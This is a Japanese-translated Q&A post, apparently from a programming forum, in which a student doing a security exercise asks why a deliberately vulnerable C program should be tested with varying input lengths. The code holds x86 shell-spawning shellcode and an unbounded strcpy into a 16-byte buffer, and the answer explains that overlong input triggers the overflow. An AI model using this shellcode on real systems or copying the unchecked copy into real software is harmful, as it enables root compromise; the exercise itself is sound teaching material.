2

適切な入力が与えられた場合にバッファ オーバーフローが発生し、ルート アクセスが許可される C コード ファイルが与えられました。これは、ZShell を使用した Fedora のバグです。これ (セキュリティの件名) をテストするために、Linux カーネルで有効になっているランダムなメモリ アドレスの割り当てを無効にしました。

セグメンテーション違反が発生するまで、さまざまな入力をテストするように求められます。ここで、入力はバッファー サイズです。私が得られないのは、なぜ異なる値でテストする必要があるのですか? コードが役立つかどうかはわかりませんが、入力を変える意味がわかりません。

/* vulnerable.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/* -------------------------------------------------- */
void vuln(char * buf)
{
    char a[16] = { 0 };
    strcpy(a, buf);
}
int main(int argc, char * argv[])
{
    int *ret;
    if (argc != 2)
    {
        printf("Usage: %s <input>\n", argv[0]);
        exit(1);
    }
    vuln(argv[1]);
    printf("%p\n", buf);
    return 0;
}
4

1 に答える 1

1

私が得られないのは、なぜ異なる値でテストする必要があるのですか?コードが役立つかどうかはわかりませんが、入力を変更する意味がわかりません。

バッファオーバーフローは特定の入力が与えられた場合にのみ発生するため、さまざまな入力を試して、問題が発生する原因を確認する必要があります。

ヒント:バッファオーバーフローは、ユーザー入力がプログラムの予想よりも長い場合に発生するため、プログラムがクラッシュしたり予期しないことをしたりするまで、さまざまな長さの入力を試してみてください。

于 2012-05-10T19:10:04.823 に答える